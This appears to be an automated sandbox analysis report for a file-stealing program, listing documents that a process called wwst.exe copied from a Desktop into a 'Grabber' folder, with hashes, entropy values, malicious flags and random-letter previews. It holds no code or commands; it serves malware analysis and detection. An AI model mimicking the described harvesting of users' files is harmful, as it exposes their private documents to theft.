Preview:	CZQKSDDMWRVXFLQDZCLIIZCHKUTASMCLXARWUFPBFEESBCKPMBKHTZOAVUSGWGQBPZXNCLVHGKNWOAOTOSOFYOKUZEGHVYFBBGTMFWOOTOTSLTKZBTPTBZMUKYOSGWCRRYGDZWOEMUMCRRCZIEIYJAYGXMDKNOLEIKRXPEZKZGIXGYJYIBDXPZGYVGHMUCSHXXAYXQQNWIVOLMGKTXTGEAEKAOKQQSCTUWFEFQMLQUREMQDBYWFEQOMAJXVXIMMKWJJFKSSTMQZNWPBIQBZROXFYPWCYBVRMKUOGMEJJHYTWCOZYZXVANCHSTYZHRBVSORLGLSOWPDGEBVMQLDWKSLQFPEZDXWPZYNPSNTKGPNKUHFMAEGDWSDLCDNYFQZWURNIMQZDJNJPPOXINSGMUVHRDBWXOXDRPWKGITAKUVBIDIBIWIIANONNQUMKNATQWTVSOUCLOFKCCAISNABSKDPLNCYIQIFQMVEHZLIAFYDDSJJTQSUEVQKACGQHHXCYTZJABESDNXLIPGYKWXJZQWYJMSZUZHKYCGKQIKCYIWZOHAVHKCRNACDVNLPEXUPOQVKBGVFKCQDKJPNALRMAYMZRBAGMTICYZEFMXXYLDXTMKSZLDKSKSRQTDUDGFZXFQEHEDXVFBYBNEOVKFLNIRSTGZDIJXNRZEZFJHNPZDGPGECJTHNVMTSURANVWOVRBTYGZGIPOXWTRIHNKWFKCTXVVKOFHISZVHNVVRXJGJEZEJDSCKNIDUQYQWFNDXBQQJAYENVZXKXVUERYEPFEGNWBAJHHQSAFTHXGXMHUHJVQEYGVKPBTQMWUEZMBBSFENGBBVZIYHLXFRDPALQUURINJMTQGTPGJRGIWXIXWOPVDTWDBDNJJVXOPMTWAGMWQFUPMRROBBTRTOQBMZKPGWTYPWAVOKTSPLMOWJJDVZIIDATCEGNLHPVRONAQJFLFUZXJVRXMCGQNRKTYBRGRMKBPVPQSPFOIOHXGEGDHOJP

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\EWZCVGNOWT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\EWZCVGNOWT\EWZCVGNOWT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\EWZCVGNOWT\GIGIYTFFYT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	true
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\EWZCVGNOWT\JDDHMPCDUJ.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\EWZCVGNOWT\KLIZUSIQEN.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696703751818505
Encrypted:	false
SSDEEP:	24:b16WkAmEUwq/rBFGdG3NQGsu7DYh3NTgfAtxoLxLP/VEmcM:hkAYzzbG4NPsuYh3N0fAjaxLnl
MD5:	19255ED5D4F37A096C105CEF82D0F5C0
SHA1:	96C5E995A91C8BC479E1C2ADB32C7E022EB8FAC7
SHA-256:	A0E9C6A5B14DB7AB22994C5017930720299F4492CE99D95A07BEB46BF2BAE7E8
SHA-512:	CDCD7E54677DE3BCE65BD80C855DE9684517F931ECA4D17E984C1D02E5E5CE9B50582ECCFA43F71A4F0A4E1743D74FCF3D588424AF519BFAE628EA49082C6E68
Malicious:	false
Preview:	KLIZUSIQENZWQAFPHPIZMRSSYSYIINGOAPFQHPCFTPTNYLSNMTRTDZSWEBKDRHIUFOFGWKTHENHAQWTYTMOJNOWPWJAPIZKOPDMUAKVTHXYWDBHBVWDTBCFVXJHDCUGTPASHSDSKUVYPRPPUXKURDNZYJENQKRHCARIUAOIAFRFWGQDXOAPXUJAUWRVEASXCVARWJMIPINSQDPGOWLRMNRCAEZGZIYDWBEWCOJWHLMOUROGZKCFGXDKPHAJADQCYUZYSYXQOIEGZIJWZLUJEKZUASKHQOGVFGVEXIQTENJDEKERNBPZGKNXWYZVXDDAYNSFBZAKWCEEYDSJONDKOYOBSAVICMHPZZRHRLNYDOIDQNYLXFDCCUOIJANPQCOIJDXFLDMIBVHBYSNYGAVWTHYCIPBRPTWSQXWXZZJBFNAUOMALKDRYIMJCRJXXQXCEREPQGNQHHOFEMEOXMSZEWOLTOLCOUCQNPRIPXUSVZNATFZKIJQZKGKTCYOMBXFTSXBXYIHMOONWWGRKPSNEMONASEFSVWNWIBXDSMEKQJIDCFPVMGAAUPBVOYAIKYQEFVSXOFTEMHNXVNMMENORLDYPZUSILNZRPHITCWDQMLEFZOEGPJDXQLBSIYRONLBYOSJVTEMBHNVXCMMRDVOAYSMNNRKRLBSQBIWIWHYUMBKTIYQTROZKTGZZMEFWINSQAXMWWLRRSPXAQZURXOTMUHPNLOUWMXRQSGXIAQILQCZUUTRJZVRNLBSHADNHZSDOQIYIZCEZHFRITTHSZOSBZGNCQVHXSFZJCEVSJCZZYTCFXLNBKMTPXYHPDXMMMXHUAAQWYYFHMKXWZBXZBWKFQHLPMVMGYFZBMVSYGKGTOLLJCBFKHHWFIVPPXPTVEJEBZBXHKNYKDYLIAKLLPJZFPVJAROJUOZZUWNZRRDZNYLGBHMNWUKJLSAXBUBWJZYCMVLYBCQJLBOROBDSZGHMCIASVUCVNDTGDALKYLTOMJK

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\EWZCVGNOWT\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\GIGIYTFFYT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	true
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\GIGIYTFFYT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	true
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\GIGIYTFFYT\CZQKSDDMWR.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700739677288544
Encrypted:	false
SSDEEP:	24:ppydEKvTSBiqFHi8v+wyNV+fxloGJjN3y5j1xTEC3ugbIvso8wFjas:rmEKvMiYC8Wwyr88GFAH/UvsuZl
MD5:	57582F5B6AE65D8DFCBD4A26382C6138
SHA1:	DC27AD5E54D1BDCCA4EC0D54ED1FB5A3235E9842
SHA-256:	7918D6E76741E42934BB32547E2D7EA395304AEA3383C0E6B7FCF82ACE125749
SHA-512:	6D75F68E608CB12378605F06C74F2F0414486072CC25961A1EA421B94EA5827F92110B902C2190E04AAE2D79152B0AB9B5B1ACECDCAAADD93A6F25028DD1E060
Malicious:	false
Preview:	CZQKSDDMWRVXFLQDZCLIIZCHKUTASMCLXARWUFPBFEESBCKPMBKHTZOAVUSGWGQBPZXNCLVHGKNWOAOTOSOFYOKUZEGHVYFBBGTMFWOOTOTSLTKZBTPTBZMUKYOSGWCRRYGDZWOEMUMCRRCZIEIYJAYGXMDKNOLEIKRXPEZKZGIXGYJYIBDXPZGYVGHMUCSHXXAYXQQNWIVOLMGKTXTGEAEKAOKQQSCTUWFEFQMLQUREMQDBYWFEQOMAJXVXIMMKWJJFKSSTMQZNWPBIQBZROXFYPWCYBVRMKUOGMEJJHYTWCOZYZXVANCHSTYZHRBVSORLGLSOWPDGEBVMQLDWKSLQFPEZDXWPZYNPSNTKGPNKUHFMAEGDWSDLCDNYFQZWURNIMQZDJNJPPOXINSGMUVHRDBWXOXDRPWKGITAKUVBIDIBIWIIANONNQUMKNATQWTVSOUCLOFKCCAISNABSKDPLNCYIQIFQMVEHZLIAFYDDSJJTQSUEVQKACGQHHXCYTZJABESDNXLIPGYKWXJZQWYJMSZUZHKYCGKQIKCYIWZOHAVHKCRNACDVNLPEXUPOQVKBGVFKCQDKJPNALRMAYMZRBAGMTICYZEFMXXYLDXTMKSZLDKSKSRQTDUDGFZXFQEHEDXVFBYBNEOVKFLNIRSTGZDIJXNRZEZFJHNPZDGPGECJTHNVMTSURANVWOVRBTYGZGIPOXWTRIHNKWFKCTXVVKOFHISZVHNVVRXJGJEZEJDSCKNIDUQYQWFNDXBQQJAYENVZXKXVUERYEPFEGNWBAJHHQSAFTHXGXMHUHJVQEYGVKPBTQMWUEZMBBSFENGBBVZIYHLXFRDPALQUURINJMTQGTPGJRGIWXIXWOPVDTWDBDNJJVXOPMTWAGMWQFUPMRROBBTRTOQBMZKPGWTYPWAVOKTSPLMOWJJDVZIIDATCEGNLHPVRONAQJFLFUZXJVRXMCGQNRKTYBRGRMKBPVPQSPFOIOHXGEGDHOJP

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\GIGIYTFFYT\GIGIYTFFYT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
